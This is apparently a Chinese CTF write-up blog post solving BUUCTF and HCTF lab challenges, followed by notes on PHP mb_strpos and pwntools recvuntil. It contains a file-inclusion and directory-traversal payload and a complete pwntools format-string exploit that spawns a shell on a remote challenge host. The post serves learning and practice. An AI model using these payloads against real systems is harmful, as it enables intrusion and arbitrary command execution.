寒假2.7

题解

web:[HCTF 2018]WarmUp

打开是张表情包

看一下源代码

访问source.php,得到完整代码

代码审计

 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];  //两个白名单文件source.php和hint.phpif (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}   //如果字符在白名单内就正常回显,不在白名单内就回显“you can't see it”$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}   //截取$page中?之前的部分,并检查是否在白名单中,也就是说只要?前的内容在白名单里即可$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}   //URL解码,防止通过URL编码绕过检查echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])   //以REQUEST方式接收file传递过来的值,由is_string、emmm::checkFile处理之后交给include去处理&& is_string($_REQUEST['file'])   //判断file是不是字符串&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];  //有include函数,大概率是一个文件包含漏洞exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>   //如果file参数存在且为字符串,并且通过了checkFile函数的检查,则包含该文件,否则就输出表情包

访问一下hint.php看看

 用文件包含的形式访问一下,失败

因为我们当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录

一般都是/var/www/html/xx.php,文件包含加目录穿越即可

payload:

source.php?file=hint.php?/../../../../ffffllllaaaagggg

misc:BUUCTF-间谍启示录

下载附件,是一个.iso文件,用VMware看一下

看了看文档说明,虽然没有flag但是也算一个提示

这样不好看,foremost分离一下

看了一下,只有rar里的压缩包解压后有内容

运行flag.exe文件,没啥用,想起题目说的被隐藏了,右键选择属性开启隐藏再关闭即可得到机密文件.txt

打开就是flag

crypto:BUUCTF-old-fashion

下载附件,看不懂,直接用quipquip爆破

flag{n1_2hen-d3_hu1-mi-ma_a}

reverse:BUUCTF-Java逆向解密

下载附件,是一个.class文件,用jdkx-gui打开

 代码解释

package defpackage;import java.util.ArrayList;
import java.util.Scanner;/* 从文件 Reverse.class 加载 */
public class Reverse {public static void main(String[] args) {Scanner s = new Scanner(System.in); // 创建一个 Scanner 对象用于读取控制台输入System.out.println("Please input the flag :"); // 提示用户输入String str = s.next(); // 读取用户输入的字符串System.out.println("Your input is :"); // 输出提示信息System.out.println(str); // 显示用户输入的字符串char[] stringArr = str.toCharArray(); // 将字符串转换为字符数组Encrypt(stringArr); // 调用 Encrypt 方法对字符数组进行加密处理}public static void Encrypt(char[] arr) {ArrayList<Integer> Resultlist = new ArrayList<>(); // 创建一个整数列表来存储加密结果for (char c : arr) { // 遍历字符数组int result = (c + '@') ^ 32; // 使用一个简单的公式进行加密//定义的c变量是字符+@,其实就是ascii码相加的数和32进行异或加密Resultlist.add(Integer.valueOf(result)); // 将加密后的结果添加到列表中}int[] KEY = {180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65}; // 定义一个密钥数组ArrayList<Integer> KEYList = new ArrayList<>(); // 创建一个整数列表来存储密钥值for (int i : KEY) { // 遍历密钥数组KEYList.add(Integer.valueOf(i)); // 将密钥值添加到列表中}System.out.println("Result:"); // 输出提示信息if (Resultlist.equals(KEYList)) { // 比较加密结果和密钥列表是否相同System.out.println("Congratulations!");} else {System.err.println("Error!");}}
}

由上,此题进行的处理大概是先将字符 c 的 ASCII 码值加上字符 @ 的 ASCII 码值(64),然后将结果与 32 进行按位异或运算,存储最终结果

所以我们的脚本就要逆过来,通过减去 @ 的 ASCII 码值并进行按位异或运算,还原出原始字符

python脚本:

strs = [180, 136, 137, 147, 191, 137, 147, 191,148, 136, 133, 191, 134, 140, 129, 135, 191, 65]flag = ""
for i in range(0,len(strs)):flag += chr(strs[i] - ord('@') ^ 0x20)
print("flag{"+flag+"}")

运行即可得到flag

pwn: [第五空间2019 决赛]PWN5

下载附件,exeinfope打开,32位无壳

 ida32打开,查看main函数

代码解释(16~32行)

  fd = open("/dev/urandom", 0);  //打开了一个特殊的设备文件/dev/urandom,该文件提供了高质量的随机数。open函数的第二个参数是模式,通常应该使用O_RDONLY来表示只读模式,但这里直接使用了数字0,这在大多数系统上等同于O_RDONLYread(fd, &dword_804C044, 4u);  //从/dev/urandom读取4个字节的数据到变量dword_804C044中。这个变量似乎是一个全局变量,其地址是硬编码的(例如,在ELF文件中,地址可能是一个固定的地址)printf("your name:");  //输入用户名read(0, buf, 0x63u);  //从标准输入(文件描述符0)读取最多99个字节(0x63是99的十六进制表示)到缓冲区buf中。这里没有检查read的返回值,也没有检查缓冲区溢出的可能性,这是一个潜在的安全风险printf("Hello,");printf(buf);  //输出用户输入的名字。由于之前没有对buf进行任何处理,这里存在一个格式化字符串漏洞,攻击者可以构造输入来利用这个漏洞printf("your passwd:");  //输入密码read(0, nptr, 0xFu);  //从标准输入读取最多15个字节(0xF是15的十六进制表示)到缓冲区nptr中。这里同样没有检查read的返回值,也没有检查缓冲区溢出的可能性if ( atoi(nptr) == dword_804C044 )  //使用atoi函数将nptr指向的字符串转换成整数,并与之前从/dev/urandom读取的随机数进行比较。(因此我们构建攻击载荷的地址即为dword_804C044的地址=0x804C044){puts("ok!!");system("/bin/sh");  //如果输入的整数与随机数相等,则输出"ok!!"并执行/bin/sh,给予攻击者一个shell}else{puts("fail");}result = 0;if ( __readgsdword(0x14u) != v6 )sub_80493D0();return result;
}

 由分析可知,该题存在格式化字符串漏洞,所以需要输入AAA来确定偏移量

AAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

偏移量为10

payload:

payload = p32(0x804C044) + b'%10$n'

其中,b'%10$n'是一个格式化字符串

%n表示将前面已经输出的字符数写入指定地址

10$表示将字符数写入第10个参数指向的地址

%10$n的作用就是将输出的字符数写入0x804c044

exp:

from pwn import* 
io = remote('node5.buuoj.cn',28237)#远程连接服务器端口
io.recvuntil(':')#等待用户输入名字,确保脚本在正确的时刻发送或接收数据
payload = p32(0x804C044)+ b'%10$n'
io.sendline(payload)#发送payload到远程服务器,由于之前调用了recvuntil(':'),这个payload将作为用户的名字发送
io.recvuntil(':')#再次接收数据,直到遇到':',这次是为了同步到密码提示
io.sendline('4')#发送字符串'4'作为密码。这是因为在格式化字符串漏洞利用中,我们已经将dword_804C044的值覆盖为了4(或者至少我们希望是这样),所以输入'4'应该会使atoi(nptr) == dword_804C044的条件成立
io.interactive()#将脚本切换到交互模式,允许用户与远程服务器进行交互。如果之前的利用成功,这将提供一个shell

知识点

1.mb_strpos()函数

 定义:

mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false

$haystack-->要搜索的字符串

$needle-->要查找的子字符串

$offset-->指定开始搜索的位置,默认为0

$encoding-->指定字符编码。若未指定,则一般是UTF-8

返回值:

如果找到子字符串,返回子字符串在主字符串中首次出现的位置(从0开始计数)

如果没找到,返回false

使用实例:

1.基本用法

2。指定偏移量:从位置5开始搜索,子字符串“世界”首次出现的位置是6

对比:

3.未找到字符串:返回false

4.指定字符编码:在UTF-8编码的字符串“hello world”中,ord首次出现的位置是6

 注意:mb_strpos使用时需区分大小写,若要不区分的话,可以使用mb_stripos

实际应用场景:

1.检查子字符串是否存在

2.截取子字符串

 3.检查文件扩展名

4.提取URL中的路径

2.recvuntil()函数

概念:

作用:

用于从远程服务器接收数据,直到指定的字符串(在今天的pwn题中是':')被接收到为止。这通常用于同步,确保脚本在正确的时刻发送或接收数据。

定义:

注意,三个参数里只有delimiter是必须有的

recvuntil(delimiter, timeout=default, drop=False)

delimiter:指定的分隔符,函数会一直接收数据,直到遇到这个分隔符

timeout:超时时间(秒为单位),如果在指定时间内没有接收到分隔符,函数会抛出异常

drop:True-->返回数据不包含分隔符,False-->返回数据包含分隔符

返回值:返回从目标程序接收到的数据(包括分隔符,除非 drop=True

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/69373.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【LeetCode Hot100 动态规划】

动态规划 动态规划五部曲简单动态规划问题爬楼梯打家劫舍 01背包类问题01背包基础二维动态数组一维动态数组分割等和子集 完全背包类问题完全背包基础零钱兑换完全平方数零钱兑换II组合总和IV单词拆分 子序列问题最长递增子序列乘积最大子数组 动态规划五部曲 确定dp数组&…

python康威生命游戏的图形化界面实现

康威生命游戏&#xff08;Conway’s Game of Life&#xff09;是由英国数学家约翰何顿康威&#xff08;John Horton Conway&#xff09;在1970年发明的一款零玩家的细胞自动机模拟游戏。尽管它的名字中有“游戏”&#xff0c;但实际上它并不需要玩家参与操作&#xff0c;而是通…

【数据结构】链表应用-链表重新排序

重新排序 反转链表预期实现思路解题过程code力扣代码核心代码完整代码 总结 删除链表中间节点代码解惑 链表重新排序题目描述解题思路解题过程复杂度代码力扣代码完整代码 反转链表 预期实现 思路 你选用何种方法解题&#xff1f; 我选用了迭代法来反转链表。这是一种经典且高…

使用mockttp库模拟HTTP服务器和客户端进行单元测试

简介 mockttp 是一个用于在 Node.js 中模拟 HTTP 服务器和客户端的库。它可以帮助我们进行单元测试和集成测试&#xff0c;而不需要实际发送 HTTP 请求。 安装 npm install mockttp types/mockttp模拟http服务测试 首先导入并创建一个本地服务器实例 import { getLocal } …

pytest-xdist 进行多进程并发测试!

在软件开发过程中&#xff0c;测试是确保代码质量和可靠性的关键步骤。随着项目规模的扩大和复杂性的增加&#xff0c;测试用例的执行效率变得尤为重要。为了加速测试过程&#xff0c;特别是对于一些可以并行执行的测试用 例&#xff0c;pytest-xdist 提供了一种强大的工具&…

mysql8安装时提示-缺少Microsoft Visual C++ 2019 x64 redistributable

MySQL8.0安装包mysql-8.0.1-winx64进行安装&#xff0c;提示&#xff1a;This application requires Visual Studio 2019 x64Redistributable, Please install the Redistributable then runthis installer again。出现这个错误是因为我们电脑缺少Microsoft Visual C 这个程序&…

基于HTML生成网页有什么优势

在互联网时代&#xff0c;网页是人们获取信息、交流互动的重要窗口&#xff0c;而基于HTML生成网页&#xff0c;是搭建网络大厦的关键。HTML语法简洁直观&#xff0c;标签和属性语义明确&#xff0c;新手也能迅速上手&#xff0c;创建包含基础元素的网页&#xff0c;极大降低了…

【MySQL】深度理解事务的隔离性:全面讲解事务的四种隔离级别

**前言&#xff1a;**上节内容我们主要说了如果没有设置保存点&#xff0c; 也可以回滚&#xff0c;但是只能回滚到事务的开始。直接使用rollback的前提是事务还没有提交。并且如果一个事务被提交了&#xff0c;就不可以回退。同时我们也可以使用savepoint设置回滚点。 可以自己…

项目实战 —— HTTP服务器设计与实现

目录 一&#xff0c;项目介绍 二&#xff0c;背景知识补充 2.1 http特点 2.2 URI&#xff0c;URL&#xff0c;URN 2.3 http请求方法 三&#xff0c;前置功能实现 3.1 日志编写 3.2 封装相关套接字 3.3 http请求结构设计 3.4 http响应结构设计 3.5 http服务器主体逻辑…

Verilog 语法篇 硬件描述语言

Verilog 是一种硬件描述语言&#xff0c;用于设计、模拟和综合数字电路和系统。它主要用于描述 ASIC&#xff08;专用集成电路&#xff09;或 FPGA&#xff08;现场可编程门阵列&#xff09;等硬件设备的结构和行为。 定义与用途&#xff1a; Verilog 是一种硬件描述语言&#…

GitHub Copilot:智能助手觉醒

GitHub Copilot: The agent awakens - The GitHub Blog github copilot 官方文档刚刚宣布支持 agent 模式&#xff01; 这一模式和之前的 chat 方式不同&#xff0c;类似于 cursor 可以根据需求直接运行、调试和修改代码 这一模式在 preview 版本可以使用&#xff0c;并且需…

网络安全威胁框架与入侵分析模型概述

引言 “网络安全攻防的本质是人与人之间的对抗&#xff0c;每一次入侵背后都有一个实体&#xff08;个人或组织&#xff09;”。这一经典观点概括了网络攻防的深层本质。无论是APT&#xff08;高级持续性威胁&#xff09;攻击、零日漏洞利用&#xff0c;还是简单的钓鱼攻击&am…

SystemUI中NavigationBar分析

需求 SystemUI是一个与系统组件显示紧密相关的应用&#xff0c;包含快捷中心、消息通知、状态栏、导航栏、任务中心等诸多模块&#xff0c;本文介绍NavigationBar模块。SystemUI源码位于/frameworks/base/packages/SystemUI&#xff0c;Android13平台。NavigationBar显示如下&…

【人工智能】Python中的序列到序列(Seq2Seq)模型:实现机器翻译

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 序列到序列(Seq2Seq)模型是自然语言处理(NLP)中一项核心技术,广泛应用于机器翻译、语音识别、文本摘要等任务。本文深入探讨Seq2Seq模…

深入浅出谈VR(虚拟现实、VR镜头)

1、VR是什么鬼&#xff1f; 近两年VR这次词火遍网上网下&#xff0c;到底什么是VR&#xff1f;VR是“Virtual Reality”&#xff0c;中文名字是虚拟现实&#xff0c;是指采用计算机技术为核心的现代高科技手段生成一种虚拟环境&#xff0c;用户借助特殊的输入/输出设备&#x…

postman免登录版本,实测可用(解决一直卡在登录界面无法进入的问题)

一、背景 2025今年开工后&#xff0c;打开postman&#xff0c;一直提示需要登录&#xff0c;但是一直卡在登录界面&#xff0c;好几个人的postman都是这样的情况&#xff0c;不知道是什么原因。 折腾几小时无果&#xff0c;网上下载了各种版本都试了&#xff0c;最新的版本也…

猫眼Java开发面试题及参考答案(上)

详细介绍项目,像项目中如何用 Redis,用到 Redis 哪些数据类型,项目中遇到哪些问题,怎么解决的 在我参与的一个电商项目中,Redis 发挥了至关重要的作用。这个电商项目主要是为用户提供商品浏览、购物车管理、订单处理等一系列功能。 在项目中使用 Redis 主要是为了提升系统…

.net知识点4

1.struct与class有何异同 异&#xff1a; struct无法实现继承 class可以继承 同 都可以实例化 都可以实现接口 都可以定义字段&#xff0c;属性&#xff0c;方法体 2.Class有了自定义的&#xff0c;带参的构造函数后&#xff0c;有什么特点 这个类在实例化的时候&…

设计模式 ->模板方法模式(Template Method Pattern)

模板方法模式 模板方法模式是一种行为设计模式&#xff0c;它在一个方法中定义一个操作的算法骨架&#xff0c;而将一些步骤延迟到子类中实现。它允许子类在不改变算法结构的情况下重新定义算法中的某些步骤 特点 算法骨架&#xff1a; 在基类中定义算法的框架延迟实现&…

Unity中Spine骨骼动画完全指南:从API详解到避坑实战

Unity中Spine骨骼动画完全指南&#xff1a;从API详解到避坑实战 一、为什么要选择Spine&#xff1f; Spine作为专业的2D骨骼动画工具&#xff0c;相比传统帧动画可节省90%资源量。在Unity中的典型应用场景包括&#xff1a; 角色换装系统&#xff08;通过插槽替换部件&#xf…